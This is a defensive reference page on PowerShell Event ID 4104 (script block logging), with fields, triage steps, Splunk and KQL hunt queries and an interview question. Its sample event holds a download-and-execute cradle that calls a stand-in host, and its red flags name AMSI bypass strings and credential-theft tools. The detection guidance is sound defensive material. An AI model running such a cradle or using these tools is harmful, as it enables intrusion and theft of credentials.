PowerShell · Process
4104 · Creating Scriptblock text (PowerShell script block logging)
Logged by PowerShell when script block logging records the text of code as it is compiled for execution, after decoding layers like -EncodedCommand. That makes it one of the best sources for seeing what a malicious PowerShell command actually did, including download cradles, AMSI bypasses and in-memory credential theft tools.
Where it is logged
Microsoft-Windows-PowerShell/Operational log on the endpoint or server where PowerShell ran. Enable via GPO: Administrative Templates > Windows Components > Windows PowerShell > Turn on PowerShell Script Block Logging. Without the GPO, PowerShell 5+ still logs blocks it deems suspicious at Warning level. Large scripts are split across multiple 4104 events sharing a ScriptBlockId.Key fields to read
| Field | What it tells you |
|---|---|
| ScriptBlockText | The script content being executed (deobfuscated to the level PowerShell compiled it). |
| ScriptBlockId | GUID that ties together the parts of a long script split across events. |
| MessageNumber | Part number of a multi-part script block (e.g. 1). |
| MessageTotal | Total parts for that block; reassemble 1..N by ScriptBlockId. |
| Path | Script file path if run from a file; empty for interactive or -EncodedCommand code. |
| Level | Warning indicates PowerShell flagged the block as suspicious even without full logging. |
Sample event
Log Name: Microsoft-Windows-PowerShell/Operational
EventID: 4104
Level: Warning
TimeCreated: 2026-11-19T10:27:55.640Z
Computer: NW-FIN-WS07.northwind.local
User: NORTHWIND\l.brandt
MessageNumber: 1
MessageTotal: 1
ScriptBlockText: $wc = New-Object Net.WebClient; $s = $wc.DownloadString('https://cdn-update-check.example/s.txt'); IEX ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($s)))
ScriptBlockId: 6b1e0f3c-27a9-4d5e-9c1a-0d4b8e2f7a11
Path: How to triage it
- 1Read
ScriptBlockTextand identify intent: download (DownloadString,Invoke-WebRequest), execution (IEX,Invoke-Expression), decoding (FromBase64String), or tooling names. - 2Reassemble multi-part blocks using
ScriptBlockIdandMessageNumber/MessageTotalbefore drawing conclusions. - 3Extract IOCs (domains, IPs, file paths) and check them in threat intel and proxy/DNS logs.
- 4Correlate with process creation (4688/Sysmon 1) to find the parent of
powershell.exe(e.g.winword.exe,wmiprvse.exe,services.exe). - 5Check for follow-on activity: network connections (Sysmon 3), files written (Sysmon 11), persistence (Sysmon 13, 4698).
Benign vs suspicious
Usually benign
- Admin and management scripts (SCCM/Intune, monitoring agents) that legitimately use
Invoke-Expressionor base64. - PowerShell module loading and profile scripts generating large volumes of benign blocks.
- Developer tooling and installers that download content over HTTPS.
Red flags
- Download cradles:
Net.WebClient+DownloadString+IEXpulling from an unfamiliar domain. - AMSI bypass strings such as
AmsiUtils/amsiInitFailed, or reflection tampering withSystem.Management.Automation. - Credential tooling:
Invoke-Mimikatz,sekurlsa,Invoke-Kerberoast,Get-GPPPassword. - Heavy obfuscation: string concatenation,
-joinof char codes,[char]arrays, or reversed strings. - Blocks executed under
wmiprvse.exeorservices.exeparents, indicating remote execution.
Hunt for it: Splunk & KQL
index=wineventlog EventCode=4104
(ScriptBlockText="*DownloadString*" OR ScriptBlockText="*FromBase64String*" OR ScriptBlockText="*IEX*" OR ScriptBlockText="*AmsiUtils*" OR ScriptBlockText="*Invoke-Mimikatz*")
| table _time, host, UserID, ScriptBlockId, MessageNumber, MessageTotal, ScriptBlockText
| sort - _time// Sentinel Event table (Microsoft-Windows-PowerShell/Operational): suspicious script blocks
Event
| where TimeGenerated > ago(7d)
| where Source == "Microsoft-Windows-PowerShell" and EventID == 4104
| where RenderedDescription has_any ("DownloadString", "FromBase64String", "Invoke-Expression", "IEX", "AmsiUtils", "Invoke-Mimikatz")
| project TimeGenerated, Computer, UserName, RenderedDescription
| order by TimeGenerated descField names depend on your add-on and table. More translations in the Splunk vs KQL cheat sheet.
Interview question
“An attacker ran powershell.exe -EncodedCommand. How would you see what it actually did?”
✓ Strong answer sketch
The command line in 4688 or Sysmon 1 only shows the base64 blob, which I can decode, but it may contain further layers of obfuscation. Script block logging (4104) records the code as PowerShell compiles it, so I can see the decoded script, including content downloaded and executed in memory via IEX. I would reassemble any multi-part blocks by ScriptBlockId, extract domains and file paths as IOCs, and correlate them with network and file telemetry. If script block logging was not enabled, PowerShell 5+ may still have logged suspicious blocks at Warning level, and AMSI-based EDR telemetry can fill the gap.
See it in a real investigation
Frequently asked questions
How do I enable PowerShell Event ID 4104?
Enable the Turn on PowerShell Script Block Logging GPO under Administrative Templates > Windows Components > Windows PowerShell, then collect the Microsoft-Windows-PowerShell/Operational log.
What is the difference between 4103 and 4104?
4103 is module logging (pipeline execution details and parameters), while 4104 is script block logging (the full text of the code being run). 4104 is usually more useful for seeing deobfuscated attacker code.
Why is a long script split across multiple 4104 events?
Large script blocks exceed the event size limit, so PowerShell splits them. Rebuild them by ScriptBlockId ordered by MessageNumber.